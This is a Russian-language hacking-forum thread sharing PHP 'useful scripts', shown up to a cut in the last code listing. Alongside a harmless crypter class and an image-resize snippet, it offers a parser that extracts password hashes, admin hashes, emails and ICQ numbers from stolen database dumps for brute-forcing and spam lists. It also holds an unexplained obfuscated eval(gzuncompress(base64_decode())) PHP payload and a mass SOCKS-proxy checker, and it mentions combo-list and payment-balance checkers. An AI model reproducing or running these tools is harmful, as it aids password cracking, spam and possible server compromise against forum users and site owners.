Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. bogdan

    bogdan Banned

    Joined:
    25 Jun 2010
    Messages:
    17
    Likes Received:
    6
    Reputations:
    0

    yandex money balance checker
     
    1 person likes this.
  2. bogdan

    bogdan Banned

    Joined:
    25 Jun 2010
    Messages:
    17
    Likes Received:
    6
    Reputations:
    0
    Этот скрипт создает комбо лист.

     
  3. bogdan

    bogdan Banned

    Joined:
    25 Jun 2010
    Messages:
    17
    Likes Received:
    6
    Reputations:
    0
    простой класс шифрования строки, думаю будет полезен новичкам
    PHP:
    class Crypter{

       var 
    $key;


       function 
    Crypter($clave){
          
    $this->key $clave;
       }

       function 
    setKey($clave){
          
    $this->key $clave;
       }
       
       function 
    keyED($txt) { 
          
    $encrypt_key md5($this->key); 
          
    $ctr=0
          
    $tmp ""
          for (
    $i=0;$i<strlen($txt);$i++) { 
             if (
    $ctr==strlen($encrypt_key)) $ctr=0
             
    $tmp.= substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1); 
             
    $ctr++; 
          } 
          return 
    $tmp
       } 
       
       function 
    encrypt($txt){ 
          
    //srand((double)microtime()*1000000); 
          
    $encrypt_key md5($this->key); 
          
    $ctr=0
          
    $tmp ""
          for (
    $i=0;$i<strlen($txt);$i++){ 
             if (
    $ctr==strlen($encrypt_key)) $ctr=0
             
    $tmp.= substr($encrypt_key,$ctr,1) . 
                 (
    substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1)); 
             
    $ctr++; 
          } 
          return 
    base64_encode($this->keyED($tmp)); 
       } 

       function 
    decrypt($txt) { 
          
    $txt $this->keyED(base64_decode($txt)); 
          
    $tmp ""
          for (
    $i=0;$i<strlen($txt);$i++){ 
             
    $md5 substr($txt,$i,1); 
             
    $i++; 
             
    $tmp.= (substr($txt,$i,1) ^ $md5); 
          } 
          return 
    $tmp
       } 

    }
    Далее вызываем класс и определяем ключ для нашего шифрования

    PHP:
    $crypt= new Crypter('ТУТ ПИШЕМ КЛЮЧ');

    Например

    $crypt
    = new Crypter('anti4at');
    чтобы зашифровать строку
    PHP:
    $str='password'// строка которую надо зашифровать
    $crp=$crypt->encrypt($str);
    в переменной crp лежит зашифрованая строка password

    чтобы расшифровать

    PHP:
    $decrp=$crypt->decrypt($crp);
     
  4. Engineer

    Engineer Member

    Joined:
    22 May 2009
    Messages:
    70
    Likes Received:
    5
    Reputations:
    0
    Гуглил в инете шуструю функцию для преобразования картинок под нужный вам размер, кроме функций состоящих из овер 9000 строк кода ничего годного не нашел. Я сократил все как мог. И так, мои несколько строчек кода:

    PHP:
        $format getimagesize($image);
        
    /*Заранее присваиваем*/
        
    $resource $source;
        
    /*Вводим размеры*/
        
    $maxheight 176;
        
    $maxwidth 132;
        
    /*Сравниваем реальную ширину с максимальной*/
        
    if ( $format[0] > $maxwidth ) {
            
    /*Простая функция для пропорционального подбора высоты*/
            
    $newheight floor$format[1] / ( $format[0] / $maxwidth) );
            
    $newwidth $maxwidth;
        }
        if ( 
    $newheight >  $maxheight) {
            
    $newwidth floor$format[0] / ( $format[1] / $maxheight) );
            
    $newheight $maxheight;
        }
        
    /*Не забываем что картинка может и так соответствовать нашим требованиям*/
        
    if (($newheight != $maxheight) || ($newwidth != $maxwidth)) {
            
    /*Создаем "полотно" и лепим изображение*/
            
    $resource imagecreatetruecolor($newwidth$newheight);
            
    imagecopyresampled($resource$source0000$newwidth$newheight$format[0], $format[1]);
        }
    "И так понятную" часть кода я пропустил. Можете комментировать и кидаться какашками )
     
    2 people like this.
  5. Яр2слав

    Яр2слав New Member

    Joined:
    26 Jun 2010
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    Может у кого есть скрипт висилицы заранее спасибо =)
     
  6. bogdan

    bogdan Banned

    Joined:
    25 Jun 2010
    Messages:
    17
    Likes Received:
    6
    Reputations:
    0
    <?
    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
    /*
    /* Forum Dump Parser v0.2 (FDPv0.2)
    /* by Re@ctor
    /* http://truenet.net.ru/security/
    /*
    /*
    /* Скрипт предназначен для частного использования и позволяет
    /* привести имеющиеся дампы баз данных в единый удобный формат для
    /* дальнейшего анализа в программе Passwords Pro, либо просто
    /* в списки для других программ.
    /*
    /* Скрипт запрещается использовать в корыстных целях и автор не
    /* несёт ответственности за возможный ущерб, причинённый от исполь-
    /* зования данного скрипта.
    /*
    /* Скрипт запрещается использовать в противозаконных целях, либо
    /* целях, ведущих к умышленному или неумышленному нарушению законода-
    /* тельства Российской Федерации.
    /*
    /* Хорошего дня и доброго насроения! ;-)
    /* Помните про существование TrueNET! =)
    /*
    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

    ###### 1. выходной формат файлов ######
    # для брута, формат Passwords Pro
    #$sort = array('username','password','salt'); # пользователи
    #$sort = array('email','password','salt'); # мыльники
    $sort = array('icq','password','salt'); # аськи
    # помните, что формат PPro - имя:хэш:сальт:расшифр.пароль:комментарий
    # поэтому надо писать от 2 до 3 значений, т.к. меньше или больше
    # будет воспринято неверно программой.

    # просто базы
    #$sort = array('email'); # e-mail
    #$sort = array('icq'); # icq

    ###### 2. формирование строк ######
    $delim = "¤"; # разделитель между значениями
    $br = "\n"; # чем заканчивать строку (\n - перенос строки)

    ###### 3. промежуточный вывод ######
    $makefiles = 1; # делать ли отдельные файлы для каждого дампа
    $ext = "txt"; # расширение выходного файла этих файлов

    ###### 4. параметры сбора информации ######
    $site = 1; # если $makefiles = 0;, то получать сведения о сайте
    # из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла
    # ( удобно при составлении тематических спам-баз )
    # формат файла должен быть префиксАДРЕС_САЙТАрасширение, где префикс и расширение любые
    $site_prefix = ''; # если $site=1, указать префикс файлов
    $site_ext = '.sql'; # если $site=1, указать расширение файлов
    $convert = 0; # конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах)

    ###### 5. общий файл с данными ######
    $hashmake = 1; # делать ли единый файл со всеми хэшами
    $hash_filename = '!PasswordsPro.Hashes'; # имя файла с хэшами

    ###### 6. выборка из дампов админов в отдельный файл ######
    $admins = 1; # сделать файл с хэшами админов дампов
    $admin_pass = 'password'; # имя ячейки с хэшем пароля
    $admin_salt = 'salt'; # имя ячейки с салом пароля
    $admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про
    $admin_filename = '!admin.PasswordsPro.Hashes';

    ###### 7. (WARNING!) имя первой ячейки в таблице ######
    $firstintable = 'userid'; # название первой ячейки в таблице (важно!)

    ini_set("max_execution_time","86400");
    set_time_limit(0);

    function make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); }
    function checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; }
    function koi($txt) { return convert_cyr_string($txt,'k','w'); }
    function iso($txt) { return convert_cyr_string($txt,'i','w'); }
    function myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; }

    $d=opendir('.');
    while(($e=readdir($d))!=false) {
    if($e=='.'||$e=='..'||$e==$admin_filename||$e==$ha sh_filename||$e==$argv[0]) continue;
    if(is_file($e)) {
    if($makefiles==1)$f = fopen("$e.$ext","w+");
    echo "[+] $e (".filesize($e)." bytes)\n";
    $file = file($e);

    foreach($file as $a) {
    $tmp = explode(' ',$a); $tablesuf=$tmp[1];
    if(!$vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; }
    foreach(array_unique(array_merge($sort,$admin_comm ent)) as $s) {
    if($tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; }
    }
    if(!$y) $vars[]='b'; else unset($y);
    if(strstr($a,'PRIMARY KEY')) break;
    }

    foreach($file as $a) {
    if(strstr($a,"INSERT INTO")) {
    $tmp = preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a);
    $values = explode(',',$tmp);
    foreach($values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); }
    foreach($sort as $s) {
    if(!$vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) {
    if($admins==1&&$hashmake==0&&$makefiles==0) {
    if(!$tr) $tr[]=$e;
    if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
    elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
    foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
    $admok=1;
    } else {
    if($s==$v['name']) {
    if($s=='salt') $tm[] = checksalt(make($m[$v['num']]));
    else $tm[] = make($m[$v['num']]);
    }
    if($admins==1&&!$admok) {
    if(!$tr) $tr[]=$e;
    if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
    elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
    foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
    }
    }
    }
    if($admok==1) break; $admok=2;
    }
    if($tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[]=@implode($tr,$delim).$delim.$delim.@implode($comm ent,', ');
    unset($tr); unset($m); unset($tm); unset($comment);
    if($admok==1) break;
    }
    }
    if($makefiles==1) {
    if($site==1) {
    $host = preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e);
    echo "[:] connecting to $host..\n";
    $fp = fsockopen($host,80,&$errno,&$errstr,5);
    if(!$fp) echo "[:] Error connecting $host ($errno - $errstr)\n";
    fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n");
    while(!feof($fp)) {
    $tmp=fgets($fp,1000);
    if(preg_match("'charset='i",$tmp)||!$schar) {
    $ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp);
    if(preg_match("'koi8-r'i",$ch)) $koi=1;
    elseif(preg_match("'iso8859-5'i",$ch)) $iso=1; $schar=1;
    }
    elseif(preg_match("'<title>(.*?)</title>'i",$tmp)) {
    $title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp);
    echo "[:] TITLE ok..\n";
    }
    elseif(preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) {
    $kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
    echo "[:] KEYWORDS ok..\n";
    }
    elseif(preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) {
    $descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
    echo "[:] DESCRIPTION ok..\n";
    }
    elseif(preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break;
    }
    fclose($fp);
    if($koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); }
    if($iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); }
    $info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"; $title=$host=$descr=$kiwords='';
    }
    echo "[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info);
    }
    unset($vars); unset($file); unset($towrite); unset($admok);
    }
    }
    if($hashmake==1) { echo "[*] sorting & writing all hashes..\n"; @asort($globhash); $f = fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);}
    if($admins==1) { echo "[*] sorting & writing admin hashes..\n"; @asort($odmen); $f = fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);}

    myau();
    ?>
     
  7. bogdan

    bogdan Banned

    Joined:
    25 Jun 2010
    Messages:
    17
    Likes Received:
    6
    Reputations:
    0
    PHP:
    <?php
    $script
    ['pr']=false;
    $script['pa']='EOF';
    $script['link']=2;
    $script['do_this']="show_dir";
    $script['now_dir']="./";
    $script['now_file']="index.html";
    eval(
    gzuncompress(base64_decode('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  l5R88VKVvVI2gf9/ASblWnc=')));
    ?>
     
  8. HD209458

    HD209458 New Member

    Joined:
    2 Apr 2010
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Привет.
    Извините, если не в ту тему пишу с просьбой.
    Подскажите как реализовать на php такую идею:
    -есть текстовое поле, куда можно вводить html теги;
    -есть фрейм в котором при нажатии на кнопку html теги из 1 поля интерпретируются;
    За ранее спасибо :) Буду очень благодарен, если поможете.
     
  9. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    чтобы именно фрейм - потребуется ajax, но все равно будет xss
    так что лучше тупо интерпретировать в том же файле.
    Читай http://www.softtime.ru/info/task.php?id_article=87
     
  10. HD209458

    HD209458 New Member

    Joined:
    2 Apr 2010
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0

    Спасибо! Сделал через фрейм без аякса, тем же методом, что описан по ссылке.
     
  11. glts

    glts New Member

    Joined:
    27 Jun 2010
    Messages:
    0
    Likes Received:
    3
    Reputations:
    0
    Многопоточный (кол-во потоков задается) автоматический чекер соксов (работает в цикле), настройки в шапке, читайте коменты. Загрузка соксов на чек с урл (раскоментить функцию) или локально. Работает при закрытом браузере, чекнутые соксы 100% работают :)
    P.S. Пускаю на никсовых дедиках, держит 1к и более потоков стабильно, максимальным перформансом не увлекался, тестируйте.

    Code:
    <?
    	if (function_exists('xdebug_start_trace')){
    		xdebug_start_trace('/var/www/debug/trace/fac.xt');
    	}
    
    	/*
    		CONFIG
    	*/
    
    	$stop_file = "stop.me";		//!!! Имя файла, создав который сприпт выйдет из бесконечного цикла
    	$looped = true;				//!!! Крутится в цикле
    	$loop_pause = 15 * 60;		//!!! Время паузы между чеками
    
    	//$socksurl = "http://site.com/text.txt";
    	$socksurl = "list.txt";	        //!!! Урл или имя файла, откуба брать соксы
    	$goodfile = "goods.txt";	//!!! Имя файла, куда складывать живые соксы (chmod 666)
    
    	$connect_timeout = 15;		//!!! Время на коннект 
    	$timeout = 15;				//!!! Время на задержки в передаче информации
    
    	$count_at_time = 500;		//!!! Количество одновременно обрабатываемых соксов
    
    	set_time_limit(0);			//!!! Бесконечное время на выполнение скрипта
    	ob_implicit_flush();		//!!! Моментельный вывод в 
    	ignore_user_abort(true);	//!!! Не реагировать на закрытие браузера
    
    	/*
    		END CONFIG
    	*/
    
    	
    	function hex2bin($dump)
    	{
    		$dump=str_replace(' ', '', $dump); 
    		$res='';
    		$len = strlen($dump);
    		for ($i = 0; $i <= $len; $i += 2)
    		{
    			$bt=$dump[$i].$dump[$i+1];
    			$res=$res.chr(hexdec($bt)); 
    		}
    		return $res;
    	} 
    
    	function hex($dump)
    	{
    		$res='';
    		$len = strlen($dump);
    		for($i=0; $i < $len; $i++)
    		{
    			if( $i+1 == $len){
    				$res = $res.dechex(ord($dump[$i]));
    			} else {
    				$res = $res.dechex(ord($dump[$i])) . " ";
    			}
    		}
    	  return $res;
    	} 
    
    
    	function len_test($dump)
    	{
    	   if(strlen($dump)==1) {$dump="0".$dump;}
    	   return $dump;
    	} 
    
    
    	function file_put($name, $cont, $flags = 0){
    		$mode = "w";
    		if ($mode == FILE_APPEND){
    			$mode = "a";
    		}
    		$mode .= "b";
    
    		$f = fopen($name, $mode);
    		if ($f){
    			fwrite($f, $cont);
    			fclose($f);
    		}
    	}
    
    	class client{
    		public $need_write;
    		public $need_read;
    		public $connected;
    		public $begin_ct;
    		public $fp;
    		public $done;
    
    		function __construct($url, $proxy, $connection_timeout = 15, $timeout = 15){
    			$this->client  = array ();
    			$this->need_read = false;
    			$this->need_write = true;
    			$this->wr_step = 0;
    			$this->rd_step = 0;
    			$this->proxy = $proxy;
    			$this->connected = false;
    			$this->begin_t = time();
    			$this->begin_ct = time();
    			$this->url = $url;
    
    			list ($host, $port) = explode(":", $proxy );
    
    			$transport='tcp';
    			$remote = $transport.'://'.$host.':'.$port;
    
    			$this->fp  = stream_socket_client($remote, $err, $errstr, $connection_timeout, STREAM_CLIENT_ASYNC_CONNECT | STREAM_CLIENT_CONNECT);
    
    			if (!$this->fp) {
    				//trigger_error('httpPost error: '.$errstr);
    				$this->done = "failed";
    				return NULL;
    			}
    
    			stream_set_blocking($this->fp, 0);
    			stream_set_timeout($this->fp, $timeout);
    			$this->done = "active";
    		}
    
    		function close(){
    			fclose($this->fp);
    		}
    
    		function onwrite(){
    			$this->begin_t = time();
    			switch ($this->wr_step){
    				case 0:{
    					$h=hex2bin('05 01 00');
    					fputs($this->fp, $h);
    					$this->wr_step ++;
    					$this->need_read = true;
    					$this->need_write = false;
    					break;
    				}
    				case 1:{
    					list($connect_host, $connect_port) = explode(':', $this->url);
    
    					$len=dechex(strlen($connect_host)); 
    					$len=len_test($len);
    					$h=hex2bin("05 01 00 03 $len ".hex($connect_host)." 00 ".dechex($connect_port).""); 
    
    					fputs($this->fp, $h);
    					$this->wr_step ++;
    					$this->need_read = true;
    					$this->need_write = false;
    					break;
    				}
    				case 2:{
    					$head  = "GET / HTTP/1.0\r\n";
    					$head .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52\r\n";
    					$head .= "Host: $connect_host\r\n";
    					$head .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
    					$head .= "Accept-Language: ru,en;q=0.9\r\n";
    					$head .= "Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
    					$head .= "\r\n";
    
    					fputs($this->fp, $head);
    					$this->wr_step ++;
    					$this->need_read = true;
    					$this->need_write = false;
    					break;
    				}
    				default:{
    					$this->need_write = false;
    				}
    			}
    			$result = array($this->need_write, $this->need_read);
    			return $result;
    		}
    
    		function onread(){
    			$this->begin_t = time();
    			switch ($this->rd_step){
    				case 0:{
    					$this->connected = true;
    					//$h=hex2bin('05 01 00');
    					//while(!feof($fp)) { 
    					$res = fread($this->fp, 1024); 
    					
    					//}
    					$list=bin2hex($res);
    					//var_dump($list);
    					$this->rd_step++;
    					//if (feof($this->fp)){
    					//	$this->need_read = true;
    					//} else { 
    					$this->need_read = false;
    					//}
    					
    					$this->need_write = true;
    					$res = '';
    					
    					break;
    				}
    				case 1:{
    
    					//while(!feof($fp)) { 
    					$res .= fread($this->fp, 1024); 
    					//}
    					$list=bin2hex($res);
    					//var_dump($list);
    					if ($list[3] == '0'){
    						$this->rd_step++;
    						$this->need_read = false;
    						$this->need_write = true;
    					} else {
    						$this->need_read = false;
    						$this->need_write = false;
    						$this->rd_step++;
    						$this->done = $list;
    						//echo "error\n";
    					}
    					$res = '';
    					
    					break;
    					
    				} 
    				case 2:{
    					$res = fread($this->fp, 1024); 
    					
    					if (!feof($this->fp)){
    						$this->need_read = true;
    					} else { 
    						$this->need_read = false;
    						$this->rd_step++;
    					}
    					//echo $res;
    					break;
    				}
    				default:{
    					$this->need_read = false;
    				}
    			}
    			
    			$result = array($this->need_write, $this->need_read);
    			return $result;
    		}
    	}
    
    	function httpPost($proxies, $connection_timeout = 15, $timeout = 15) {
    		$url = 'www.google.com:80';
    
    		$clients = array();
    
    		foreach($proxies as $proxy){
    			$clients [] = new client($url, $proxy, $connection_timeout, $timeout);
    		}
    	
    		for(;;){
    			$read = array();
    			$write = array();
    			$except = NULL;
    			$not_done = false;
    
    			foreach($clients as $cl){
    				if ($cl->done != 'active') continue;
    
    				$tm = time(); 
    				if ($tm - $cl->begin_ct >= $connection_timeout && !$cl->connected){
    					$cl->done = "connection_timeout";
    					//break;
    				}
    				if ($tm - $cl->begin_t >= $timeout && $cl->connected ){
    					$cl->done = "timeout";
    				}
    				$cl_done = false;
    				if ($cl->need_read ){
    					$read[] = $cl->fp;
    				} 
    				if ($cl->need_write) {
    					$write[] = $cl->fp;
    				}
    				$cl_done = !($cl->need_write || $cl->need_read);
    				if ($cl_done) {
    					$cl->done = "success";
    				}
    				$not_done = $not_done || !$cl_done;
    			}
    
    			if (!$not_done) {
    				break;
    			}
    				
    			if (false === ($num_changed_streams = stream_select($read, $write, $except, 1))) {
    				/* Error handling */
    			} elseif ($num_changed_streams > 0) {
    
    				foreach($clients as $cl){
    					if (in_array($cl->fp, $read) && $cl->need_read ){
    						$cl->onread();
    					}
    					if (in_array($cl->fp, $write) && $cl->need_write){
    						$cl->onwrite();
    					}
    				}
    			}
    			
    		}
    
    		foreach($clients as $cl){
    			//echo $cl->proxy . " - ". $cl->done . "<br>\n";
    			if ($cl->done == 'success'){
